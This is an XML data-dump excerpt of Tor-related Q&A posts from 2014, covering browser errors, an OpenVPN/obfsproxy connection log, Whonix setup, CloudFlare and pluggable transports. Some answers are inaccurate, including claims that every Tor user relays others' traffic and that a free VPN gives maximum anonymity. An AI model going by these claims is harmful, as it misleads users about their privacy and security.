CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4180" PostTypeId="2" ParentId="1758" CreationDate="2014-09-21T17:06:31.933" Score="1" Body="&lt;p&gt;I had this same error.&#xA;Start Tor browser. Finish, then close it.&#xA;Second time to try start it, I got that error. It appears the browser wasn't properly stopped.  Task manager was used to stop all Tor processes, and it then worked again.&#xA;It didn't make sense, but someone suggested I move the bundle location from the desktop to another location, and I haven't had that problem since.&lt;/p&gt;&#xA;" OwnerUserId="3691" LastEditorUserId="923" LastEditDate="2014-09-21T19:54:22.377" LastActivityDate="2014-09-21T19:54:22.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4181" PostTypeId="1" CreationDate="2014-09-22T08:27:34.877" Score="1" ViewCount="130" Body="&lt;p&gt;I understand that it's foolish to enable plugins on the Tor browser, because it could compromise my anonymity.  However, I'm pondering whether it would be wise to just use another browser (like IE or Chrome) for the normal purposes (and enable plugins for this &quot;regular&quot; browser), and only use the plugin-disabled Tor browser for special purposes in which I'm concerned about my anonymity?&lt;/p&gt;&#xA;" OwnerUserId="3694" LastActivityDate="2014-09-22T23:46:24.217" Title="Is it OK to use plugins on other browsers while simultaneously running the Tor browser?" Tags="|tor-browser-bundle|windows|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4182" PostTypeId="2" ParentId="4175" CreationDate="2014-09-22T08:44:15.470" Score="1" Body="&lt;p&gt;Sorry I did not understand your question at first. You should be able to run other operating systems with a whonix gateway. You will just need to configure the network connection of the workstation. I would boot up the workstation that comes with whonix and look at the network configuration and use those same settings on the workstation of your choice. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have the connection information for the whonix workstation, you can just add one digit to the last octet of the ipaddress of the whonix workstation and have both running at the same time. That will make it easier to go back and forth for testing until you are happy with the workstation you are setting up. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are known problems using Microsoft operating systems and leaking information over tor, just so you know. Good luck&lt;/p&gt;&#xA;" OwnerUserId="3338" LastActivityDate="2014-09-22T08:44:15.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4183" PostTypeId="1" CreationDate="2014-09-22T11:48:57.273" Score="1" ViewCount="1729" Body="&lt;p&gt;I'm on Fedora 20 and having trouble connecting to my VPN using OpenVPN and obfsproxy. I can connect using the Windows client through VirtualBox (though only to certain servers, many of them restart continually) which i think is essentially just an interface for OpenVPN with obfsproxy. The Android OpenVPN port by Arne Schwabe also connects just fine using the same configuration file.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now on my Linux box, i start up obfsproxy with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; obfsproxy obfs2 socks 127.0.0.1:1050&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... and then try to start up OpenVPN. It connects (or at least it says &quot;Initialization Sequence Completed&quot;), but after a minute it times out (&quot;Inactivity timeout (--ping-restart), restarting&quot; \ &quot;SIGUSR1[soft,ping-restart] received, process restarting&quot;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; sudo openvpn --config IVPN-Singlehop-USA-SaltLakeCity-UT-OBFS.ovpn&#xA;Fri Sep 19 14:06:37 2014 OpenVPN 2.3.4 x86_64-unknown-linux-gnu [SSL (OpenSSL)] [LZO] [EPOLL] [MH] [IPv6] built on Sep 19 2014&#xA;Fri Sep 19 14:06:37 2014 library versions: OpenSSL 1.0.1e-fips 11 Feb 2013, LZO 1.08&#xA;Fri Sep 19 14:06:37 2014 WARNING: file 'pass.txt' is group or others accessible&#xA;Fri Sep 19 14:06:37 2014 WARNING: file 'client1.key' is group or others accessible&#xA;Fri Sep 19 14:06:37 2014 WARNING: file 'ta.key' is group or others accessible&#xA;Fri Sep 19 14:06:37 2014 Control Channel Authentication: using 'ta.key' as a OpenVPN static key file&#xA;Fri Sep 19 14:06:37 2014 Outgoing Control Channel Authentication: Using 160 bit message hash 'SHA1' for HMAC authentication&#xA;Fri Sep 19 14:06:37 2014 Incoming Control Channel Authentication: Using 160 bit message hash 'SHA1' for HMAC authentication&#xA;Fri Sep 19 14:06:37 2014 Socket Buffers: R=[87380-&amp;gt;131072] S=[16384-&amp;gt;131072]&#xA;Fri Sep 19 14:06:37 2014 Attempting to establish TCP connection with [AF_INET]127.0.0.1:1050 [nonblock]&#xA;Fri Sep 19 14:06:37 2014 TCP connection established with [AF_INET]127.0.0.1:1050&#xA;Fri Sep 19 14:06:37 2014 TCPv4_CLIENT link local: [undef]&#xA;Fri Sep 19 14:06:37 2014 TCPv4_CLIENT link remote: [AF_INET]127.0.0.1:1050&#xA;Fri Sep 19 14:06:38 2014 TLS: Initial packet from [AF_INET]127.0.0.1:1050, sid=280adaf7 b6f56f88&#xA;Fri Sep 19 14:06:38 2014 WARNING: this configuration may cache passwords in memory -- use the auth-nocache option to prevent this&#xA;Fri Sep 19 14:06:40 2014 VERIFY OK: depth=1, C=MT, ST=Malta, L=Malta, O=IVPN.net, CN=IVPN.net CA, emailAddress=support@ivpn.net&#xA;Fri Sep 19 14:06:40 2014 VERIFY OK: nsCertType=SERVER&#xA;Fri Sep 19 14:06:40 2014 VERIFY OK: depth=0, C=MT, ST=Malta, L=Malta, O=IVPN.net, CN=gw3.us.ivpn.net, emailAddress=support@ivpn.net&#xA;Fri Sep 19 14:06:44 2014 Data Channel Encrypt: Cipher 'AES-256-CBC' initialized with 256 bit key&#xA;Fri Sep 19 14:06:44 2014 Data Channel Encrypt: Using 160 bit message hash 'SHA1' for HMAC authentication&#xA;Fri Sep 19 14:06:44 2014 Data Channel Decrypt: Cipher 'AES-256-CBC' initialized with 256 bit key&#xA;Fri Sep 19 14:06:44 2014 Data Channel Decrypt: Using 160 bit message hash 'SHA1' for HMAC authentication&#xA;Fri Sep 19 14:06:44 2014 Control Channel: TLSv1, cipher TLSv1/SSLv3 DHE-RSA-AES256-SHA, 4096 bit RSA&#xA;Fri Sep 19 14:06:44 2014 [gw3.us.ivpn.net] Peer Connection Initiated with [AF_INET]127.0.0.1:1050&#xA;Fri Sep 19 14:06:46 2014 SENT CONTROL [gw3.us.ivpn.net]: 'PUSH_REQUEST' (status=1)&#xA;Fri Sep 19 14:06:46 2014 PUSH: Received control message: 'PUSH_REPLY,redirect-gateway def1,dhcp-option DNS 10.16.8.1,route 10.16.8.1,topology net30,ping 10,ping-restart 60,ifconfig 10.16.8.14 10.16.8.13'&#xA;Fri Sep 19 14:06:46 2014 OPTIONS IMPORT: timers and/or timeouts modified&#xA;Fri Sep 19 14:06:46 2014 OPTIONS IMPORT: --ifconfig/up options modified&#xA;Fri Sep 19 14:06:46 2014 OPTIONS IMPORT: route options modified&#xA;Fri Sep 19 14:06:46 2014 OPTIONS IMPORT: --ip-win32 and/or --dhcp-option options modified&#xA;Fri Sep 19 14:06:46 2014 ROUTE_GATEWAY 192.168.1.1/255.255.255.0 IFACE=wlp3s0 HWADDR=00:1b:b1:a8:a2:12&#xA;Fri Sep 19 14:06:46 2014 TUN/TAP device tun0 opened&#xA;Fri Sep 19 14:06:46 2014 TUN/TAP TX queue length set to 100&#xA;Fri Sep 19 14:06:46 2014 do_ifconfig, tt-&amp;gt;ipv6=0, tt-&amp;gt;did_ifconfig_ipv6_setup=0&#xA;Fri Sep 19 14:06:46 2014 /usr/sbin/ifconfig tun0 10.16.8.14 pointopoint 10.16.8.13 mtu 1500&#xA;Fri Sep 19 14:06:46 2014 /usr/sbin/route add -net 127.0.0.1 netmask 255.255.255.255 gw 192.168.1.1&#xA;Fri Sep 19 14:06:46 2014 /usr/sbin/route add -net 0.0.0.0 netmask 128.0.0.0 gw 10.16.8.13&#xA;Fri Sep 19 14:06:46 2014 /usr/sbin/route add -net 128.0.0.0 netmask 128.0.0.0 gw 10.16.8.13&#xA;Fri Sep 19 14:06:46 2014 /usr/sbin/route add -net 174.37.86.108 netmask 255.255.255.255 gw 192.168.1.1&#xA;Fri Sep 19 14:06:46 2014 /usr/sbin/route add -net 10.16.8.1 netmask 255.255.255.255 gw 10.16.8.13&#xA;Fri Sep 19 14:06:46 2014 Initialization Sequence Completed&#xA;Fri Sep 19 14:07:46 2014 [gw3.us.ivpn.net] Inactivity timeout (--ping-restart), restarting&#xA;Fri Sep 19 14:07:46 2014 SIGUSR1[soft,ping-restart] received, process restarting&#xA;Fri Sep 19 14:07:46 2014 Restart pause, 5 second(s)&#xA;Fri Sep 19 14:07:51 2014 Socket Buffers: R=[87380-&amp;gt;131072] S=[16384-&amp;gt;131072]&#xA;Fri Sep 19 14:07:51 2014 Attempting to establish TCP connection with [AF_INET]127.0.0.1:1050 [nonblock]&#xA;Fri Sep 19 14:07:51 2014 TCP connection established with [AF_INET]127.0.0.1:1050&#xA;Fri Sep 19 14:07:56 2014 recv_socks_reply: TCP port read timeout expired: Operation now in progress (errno=115)&#xA;Fri Sep 19 14:07:56 2014 /usr/sbin/route del -net 10.16.8.1 netmask 255.255.255.255&#xA;Fri Sep 19 14:07:56 2014 /usr/sbin/route del -net 174.37.86.108 netmask 255.255.255.255&#xA;Fri Sep 19 14:07:56 2014 /usr/sbin/route del -net 127.0.0.1 netmask 255.255.255.255&#xA;Fri Sep 19 14:07:56 2014 /usr/sbin/route del -net 0.0.0.0 netmask 128.0.0.0&#xA;Fri Sep 19 14:07:56 2014 /usr/sbin/route del -net 128.0.0.0 netmask 128.0.0.0&#xA;Fri Sep 19 14:07:56 2014 Closing TUN/TAP interface&#xA;Fri Sep 19 14:07:56 2014 /usr/sbin/ifconfig tun0 0.0.0.0&#xA;Fri Sep 19 14:07:56 2014 SIGTERM[soft,init_instance] received, process exiting&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've been working with this for about a week now and am at a loss what to do to get it to actually connect. I'm not sure if it's a firewall issue or what, but i'd really appreciate any help.&lt;/p&gt;&#xA;" OwnerUserId="3695" LastActivityDate="2015-12-20T20:55:57.260" Title="Connecting to VPN with OpenVPN and obfsproxy" Tags="|linux|obfsproxy|openvpn|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4184" PostTypeId="1" CreationDate="2014-09-22T14:46:09.490" Score="1" ViewCount="1105" Body="&lt;p&gt;&quot;Load Balancer Error: 429 Someone on your network is abusing this site with automated malicious software&quot; when connecting to torrentz.eu or any mirror site. Recent occurance with no change to prompt the message. Any suggestions on what is causing this would be appreciated?&lt;/p&gt;&#xA;" OwnerUserId="3697" LastActivityDate="2014-09-22T14:46:09.490" Title="&quot;Load Balancer Error: 429 Someone on your network is abusing this site with automated malicious software" Tags="|security|windows|" AnswerCount="0" CommentCount="6" ClosedDate="2017-04-21T22:03:00.870" ContentLicense="CC BY-SA 3.0" />
  <row Id="4185" PostTypeId="2" ParentId="599" CreationDate="2014-09-22T15:16:02.730" Score="2" Body="&lt;p&gt;This is another assault on privacy and anonymity, from my perspective.  It's analogous to the NSA indiscriminately collecting (everyone's) communications because there are a few bad guys they want to catch. CloudFlare is a middleman that answers only to their corporate profits at the end of the day.  It's a central storage for every surfer's IP address and the sites they access.  It doesn't take much imagination to see why so many consider this a far from innocuous development.  Personally, as someone who regularly comments via Tor on blogs known for alternative perspectives, I feel threatened by CloudFlare and its browser fingerprinting algo-methodology.  The only way site owners might be persuaded to care about the privacy of its contributors more than their own (disproportionate) desires for elusive bullet-proof security (wholesale trust in CloudFlare?) is for their loyal base to revolt by declining to enter the captcha and avoiding the site property altogether.  That's my answer to the ever increasingly gated internet.  In the near future, it won't be worth paying for any sort of fenced internet connection. Until then, it's resistance, not sheepish obedience.&lt;/p&gt;&#xA;" OwnerUserId="3698" LastEditorUserId="923" LastEditDate="2014-09-22T18:12:22.110" LastActivityDate="2014-09-22T18:12:22.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4186" PostTypeId="2" ParentId="4181" CreationDate="2014-09-22T19:06:10.120" Score="0" Body="&lt;p&gt;Yes, that would be fine. If you are using a &quot;regular&quot; browser with no tor layer, plugins don't compromise the tor connection it is not using &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may of course still not want to install a plugin that tracked you, but that is orthogonal to having tor installed or not.&lt;/p&gt;&#xA;" OwnerUserId="3165" LastActivityDate="2014-09-22T19:06:10.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4187" PostTypeId="2" ParentId="4181" CreationDate="2014-09-22T23:46:24.217" Score="1" Body="&lt;p&gt;As long as you are using the Tor Browser with no extra addons and while using NoScript, websites cannot make an association between the two. Be sure not to use the same usernames, writing style, and so on over the clearnet as you do while using the Tor Browser, clearnet or not. It's definitely possible to associate your Tor browsing with your clearnet browsing if you don't take those steps as well.&lt;/p&gt;&#xA;" OwnerUserId="3699" LastActivityDate="2014-09-22T23:46:24.217" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4188" PostTypeId="1" CreationDate="2014-09-23T06:55:56.530" Score="1" ViewCount="1283" Body="&lt;p&gt;I have been using the TBB on two different computers (running win7 and win8) and have noticed that if I leave it running long enough that I always end up with an error message &quot;Tor unexpectedly exited&quot;. This normally does not happen while I am using the TBB but in terms of how long it takes to exit it seems to vary, sometimes its like after 10 minutes of inactity sometimes overnight (and I don't know if it is actually due to &quot;inactivity&quot; it just doesn't seem to happen often while I am using TBB). I haven't found many posts about this on stackexchange or other places so it doesn't seem like a common problem, there was a few bug/mentions on the &lt;a href=&quot;https://blog.torproject.org/blog/tor-browser-bundle-35-released&quot; rel=&quot;nofollow&quot;&gt;tor blog&lt;/a&gt; awhile back and &lt;a href=&quot;https://www.reddit.com/r/onions/comments/22aqwd/please_help_tor_unexpectedly_exited/&quot; rel=&quot;nofollow&quot;&gt;reddit&lt;/a&gt; but that is it. I am running out of ideas and its a bit annoying (plus if I am not mistaken if I leave it on it helps the Tor network correct?)&lt;/p&gt;&#xA;" OwnerUserId="3643" LastEditorUserId="923" LastEditDate="2014-09-24T17:54:08.190" LastActivityDate="2014-09-24T17:54:08.190" Title="&quot;Tor unexpectedly exited.&quot;" Tags="|tor-browser-bundle|windows|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4189" PostTypeId="2" ParentId="3626" CreationDate="2014-09-23T07:11:53.577" Score="1" Body="&lt;p&gt;The Tor Browser will delete all &quot;private&quot; data when it's closed. So when you close it you won't be able to restore your search history.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However as &lt;a href=&quot;https://tor.stackexchange.com/users/3249/uwotm8&quot;&gt;uwotm8&lt;/a&gt; wrote, when someone got access to your machine, those information can be extracted.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-09-23T07:11:53.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4190" PostTypeId="2" ParentId="4169" CreationDate="2014-09-23T07:19:51.737" Score="9" Body="&lt;p&gt;You might get Skype working on your machine. However the usage of Skype with Tor is highly discouraged. I quote from &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorifyHOWTO/InstantMessaging&quot;&gt;Tor's wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Skype is closed source and users have no control over the encryption keys used. Skype can therefore decrypt and monitor communications arbitrarily. It is unwise to communicate in an unsafe manner over Tor. Skype also collects a large amount of personal data and reports back to a central server. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Furthermore it is often reported that Skype blocks Tor exit relays. So you might encounter the same problems you already have.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-09-23T07:19:51.737" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4191" PostTypeId="2" ParentId="4166" CreationDate="2014-09-23T07:39:14.647" Score="1" Body="&lt;p&gt;The operator of the directory authority gabelmoo recently moved the server to a new IP address. According to bug report &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/13199&quot; rel=&quot;nofollow&quot;&gt;#13199&lt;/a&gt; he screwed up the configuration. However this is fixed now and the warning in your log should disappear.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-09-23T07:39:14.647" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4192" PostTypeId="1" AcceptedAnswerId="4193" CreationDate="2014-09-23T08:04:09.507" Score="6" ViewCount="14197" Body="&lt;p&gt;I often see those three different kind of software and want to know how/if they differ. Can someone explain?&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2020-11-23T08:07:17.643" Title="What is the difference between Tor, Tor Browser and torbrowser-launcher?" Tags="|tor-browser-bundle|help|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4193" PostTypeId="2" ParentId="4192" CreationDate="2014-09-23T08:04:09.507" Score="11" Body="&lt;p&gt;Tor, sometimes called little-t-tor, is the core of the Tor Project's software. It acts as a SOCKS proxy and anonymizes your connection. You can set up Tor in your &lt;code&gt;torrc&lt;/code&gt;. This file is either in the directory &lt;code&gt;/etc/tor&lt;/code&gt; when Tor is installed as a system-wide daemon or it is in your local home directory when you use the Tor Browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor Browser is a browser (like Firefox) which comes with Tor and some other software. This software enables you to safely access the web in a secure way. You can change settings by pressing the green onion inside Tor Browser or by entering &lt;code&gt;about:config&lt;/code&gt; into the URL bar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://micahflee.com/torbrowser-launcher/&quot; rel=&quot;nofollow noreferrer&quot;&gt;torbrowser-launcher&lt;/a&gt; is a software which starts your Tor Browser. It checks if a new version is available, downloads if there is any and starts the Tor Browser. It only has one parameter (&lt;code&gt;--settings&lt;/code&gt;) which opens a settings dialogue.&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="13766" LastEditDate="2017-05-18T07:15:13.647" LastActivityDate="2017-05-18T07:15:13.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4195" PostTypeId="2" ParentId="3271" CreationDate="2014-09-23T17:37:22.843" Score="5" Body="&lt;p&gt;A directory mirror that has an max accounting set is simply not best practice. &#xA;So a directory mirror has to be reliable and always on to be useful.&#xA;Another reason is that if you set an AccountingMax it is much more important to use the limited amount of traffic for incoming client connections than using it for syncing between dirauths and your relay. &#xA;So it is pretty much &quot;wasted&quot; traffic when mirroring the directory whilst AccountingMax is turned on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this answer gets the issue more clear to you.&lt;/p&gt;&#xA;" OwnerUserId="3648" LastActivityDate="2014-09-23T17:37:22.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4196" PostTypeId="2" ParentId="4120" CreationDate="2014-09-24T17:47:33.117" Score="2" Body="&lt;p&gt;You may choose to do Tor to VPN meaning Tor exit node connect to VPN and from there to your selected site. This way as you mentioned, the destination site will have difficulty figuring out you are using Tor. However the VPN service can easily figure out you are using Tor, but this may not be a concern in your case. For maximum anonymity use a free VPN service. This would eliminate the money trail to you. And yes, Cloudflare disturbance will reduce substantially this way. To figure out how to do this read the following question and answer and if you need more help get a professional assistance.  &lt;a href=&quot;https://tor.stackexchange.com/questions/1232/me-tor-vpn-how/1235#1235&quot;&gt;Me -&amp;gt; Tor -&amp;gt; Vpn [How?]&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="923" LastActivityDate="2014-09-24T17:47:33.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4197" PostTypeId="1" CreationDate="2014-09-24T18:54:22.360" Score="2" ViewCount="52" Body="&lt;p&gt;Does anybody know if any daemons or services are started by default the moment you install TBB ? I ask as when I shutdown my system I see some entry about Tor even though I might not have used TBB in the session. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There seem to be three packages which are installed alongwith torbrowser-launcher. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ aptitude why tor&#xA;i torbrowser-launcher Depends tor&#xA;&#xA;$ aptitude why tor-geoipdb &#xA;i torbrowser-launcher Depends tor &#xA;i A tor Recommends tor-geoipdb &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At least here, in Debian it doesn't seem that that tbb is a standalone package.&lt;/p&gt;&#xA;" OwnerUserId="3547" LastEditorUserId="3547" LastEditDate="2014-09-25T14:44:32.043" LastActivityDate="2014-09-25T14:44:32.043" Title="Does anybody know if any daemons or services started by default when TBB is installed in Debian?" Tags="|tor-browser-bundle|debian|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4198" PostTypeId="2" ParentId="4050" CreationDate="2014-09-24T21:05:31.087" Score="2" Body="&lt;p&gt;Actually, I think that might not be the case... If we were to grow the network to have more fast relays than users, that would most likely harm the anonymity. There would be high probability that each relay would only forward traffic of one or two users at any given time, which would make it easier for an adversary to &quot;spy&quot; on the route that a certain user was building through the network. Of course, we will never grow the network to that point so this is pure theory.&#xA;However, I think slow is a very subjective notion, so I think for now we should use all relays that are available. I disagree with using the slower ones to hidden services. HS are already slow as it is, and the idea is to make them faster so they get to be more reliable and used by more people. That's why they are being completely redesigned. Improving HS security and speed is essential to protect the freedom of the Tor network, and thus of the internet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One more thing: while a small number of fast relays might seem as a bad idea, if there are enough users to make it diverse, it becomes harder for an attacer to try and identify a user based on which websites are being visited (thus knowing that relay is being used by person X and so person X visited also that other website). We need to grow the network but also the users.&lt;/p&gt;&#xA;" OwnerUserId="3709" LastActivityDate="2014-09-24T21:05:31.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4199" PostTypeId="1" CreationDate="2014-09-24T22:45:26.777" Score="3" ViewCount="1489" Body="&lt;p&gt;The question &lt;a href=&quot;https://tor.stackexchange.com/questions/931/tor-browser-says-firefox-is-already-running&quot;&gt;Tor Browser Says Firefox is Already Running&lt;/a&gt; is very related to this issue but I couldn't add a comment as I am new to this site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have noticed ever since 3.6.4 that although the Tor connection is made and can be used by other configured software. The Tor Browser Bundle Firefox will not start up first time.  I can run Thunderbird/birdie using the connection and  it works fine.  Looking at the process list it says that &lt;code&gt;tor.firefox&lt;/code&gt; is running (but it can't be seen).  The only way to get it to open is to kill the process and restart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was hoping that there was a bug that would have gotten fixed by 3.6.5 but it wasn't. It recently takes about 5 tries to get it started eventually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As advised in this other thread Tor Browser Bundle will run on a completely different disk and away from any system files.  Even regular FF configured to use Tor will run fine on top of the tor.process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Out of a unsubstantiated suspicion I do not use any other connection over such a process until I get Tor Browser Bundle to run properly and verify the connection is correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I rarely use a couple of plugins and disabling or deleting them and reinstalling the bundle had no effect on this behavior.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't recall this ever happening before 3.6.4 and 3.6.5 made no difference.&lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="923" LastEditDate="2014-09-25T01:09:57.897" LastActivityDate="2016-10-11T17:18:16.510" Title="Tor Browser for Windows Says that Firefox is Already Running" Tags="|tor-browser-bundle|windows|firefox|error|" AnswerCount="3" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4200" PostTypeId="1" CreationDate="2014-09-25T05:41:50.667" Score="3" ViewCount="151" Body="&lt;p&gt;I've been using the 4.0 alpha bundles especially the one with meek and obs4 to try them out.  I've also just used the newest meek transport for Microsoft Azure listed here: &lt;a href=&quot;https://lists.torproject.org/pipermail/tor-dev/2014-September/007525.html&quot; rel=&quot;nofollow&quot;&gt;https://lists.torproject.org/pipermail/tor-dev/2014-September/007525.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: Is there a way to check that the pluggable transports are actually working as advertised while you are browsing?  (I'm assuming that if I click on them and the browser goes to where I ask it to, then the transport is working).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I'm a wee bit concerned that if the transport doesn't work, does the Tor Browser Bundle simply default to 'basic Tor' instead, thus making me visible for using Tor?  Or will it simply just not work at all?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And on the same theme, if I start using pluggable transports and some time during the session it stops working, will the browser revert to 'basic Tor' or will it stop completely, forcing me to start the whole Tor Browser Bundle again using some other transport?&lt;/p&gt;&#xA;" OwnerUserId="3711" LastEditorUserId="9411" LastEditDate="2016-05-27T13:17:21.627" LastActivityDate="2016-05-27T13:17:21.627" Title="How can I tell whether pluggable transports are working correctly?" Tags="|tor-browser-bundle|pluggable-transports|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4201" PostTypeId="2" ParentId="4197" CreationDate="2014-09-25T07:59:58.227" Score="1" Body="&lt;p&gt;Tor browser bundle is a standalone package, with everything it needs running as 'standalone' from the folder you unpacked it to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe you have the separate standalone Tor package installed as well?&#xA;If so - then that one can have a daemon.&lt;/p&gt;&#xA;" OwnerUserId="112" LastEditorUserId="112" LastEditDate="2014-09-25T09:26:44.507" LastActivityDate="2014-09-25T09:26:44.507" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4203" PostTypeId="1" CreationDate="2014-09-25T15:32:07.153" Score="2" ViewCount="278" Body="&lt;p&gt;I have been using the online upgrade process offered by Tails in the pop-up dialog.&#xA;But, I got to thinnking (paranoid) that maybe I should download a new iso, burn to CD/DVD, boot to CD/DVD and then install to USB drive, instead. Upgrading while online seems to me like an additional vulnerability, since I have no way of knowing what is being downloaded/uploaded or what is going on. Any thoughts/concerns/recommendations? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="3714" LastActivityDate="2014-09-29T22:15:15.100" Title="Any concerns with online upgrade of tails? Should new ISO be downloaded instead?" Tags="|tails|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4205" PostTypeId="2" ParentId="4199" CreationDate="2014-09-25T22:08:14.690" Score="0" Body="&lt;p&gt;Usually this means that you have Firefox already open. You should open your task manager and kill the task.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that doesn't work, you should try putting the file in a different folder (i.e., in the Desktop instead of Applications.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="3656" LastActivityDate="2014-09-25T22:08:14.690" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4206" PostTypeId="1" AcceptedAnswerId="4208" CreationDate="2014-09-24T20:02:02.850" Score="3" ViewCount="134" Body="&lt;p&gt;Sometimes I´ve got 2 TCP connections to Tor nodes (entry points), one is the 'main' that is used always when i run something through&#xA;Tor (iceweasel...) ,the other connection exchanges a few TCP packets every few minutes . &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The odd thing to me is that the second connection sometimes is established at the beginning when i start tor, sometimes it takes 10, 20 minutes later or&#xA;doesn´t establish the connection at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know why is it for ? What kind of data is being transferred ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;pst: tor+proxychains&lt;/p&gt;&#xA;" OwnerUserId="3825" OwnerDisplayName="Psa" LastActivityDate="2014-09-25T23:15:18.203" Title="Tor : 2 connections at the same time" Tags="|anonymity|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4207" PostTypeId="2" ParentId="4206" CreationDate="2014-09-25T07:32:53.047" Score="0" Body="&lt;p&gt;You might already know how Tor works, you start it, and it uses multiple other users as relay to &quot;mask&quot; you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is excactly what the 2nd connection is, you are also a relay for others when using it (depending on your settings), so others can use you as a relay too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The amount of bandwidth you &quot;donate&quot; to the network while being online can be configured in Tor's settings, along with if you want to be a part with it yes or no.&lt;/p&gt;&#xA;" OwnerUserId="3716" OwnerDisplayName="Lighty" LastActivityDate="2014-09-25T07:32:53.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4208" PostTypeId="2" ParentId="4206" CreationDate="2014-09-25T07:47:07.577" Score="1" Body="&lt;p&gt;The second connection is the node you are hosting in the network. There is only small amount of data transfers, because there is an enormous amount of nodes in the tor network (every user is a node). You are basically giving some of your bandwith to the whole network (small amount) and in return, you are allowed to use the network and increase anonimity.&lt;/p&gt;&#xA;" OwnerDisplayName="KaliG" LastActivityDate="2014-09-25T07:47:07.577" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4209" PostTypeId="1" AcceptedAnswerId="4210" CreationDate="2014-09-26T12:09:57.320" Score="5" ViewCount="23719" Body="&lt;p&gt;One of my friends keeps telling me that it's useless to use Tor on Windows, as Windows is full of key-loggers, Trojans and other malware, and if they want to identify me it will be easy because of Windows, unlike Linux . &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this true? If so why? &lt;/p&gt;&#xA;" OwnerUserId="3718" LastEditorUserId="350" LastEditDate="2014-09-26T13:14:55.307" LastActivityDate="2023-08-21T01:37:04.120" Title="Is using Tor on Windows dangerous?" Tags="|tor-browser-bundle|security|windows|" AnswerCount="5" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
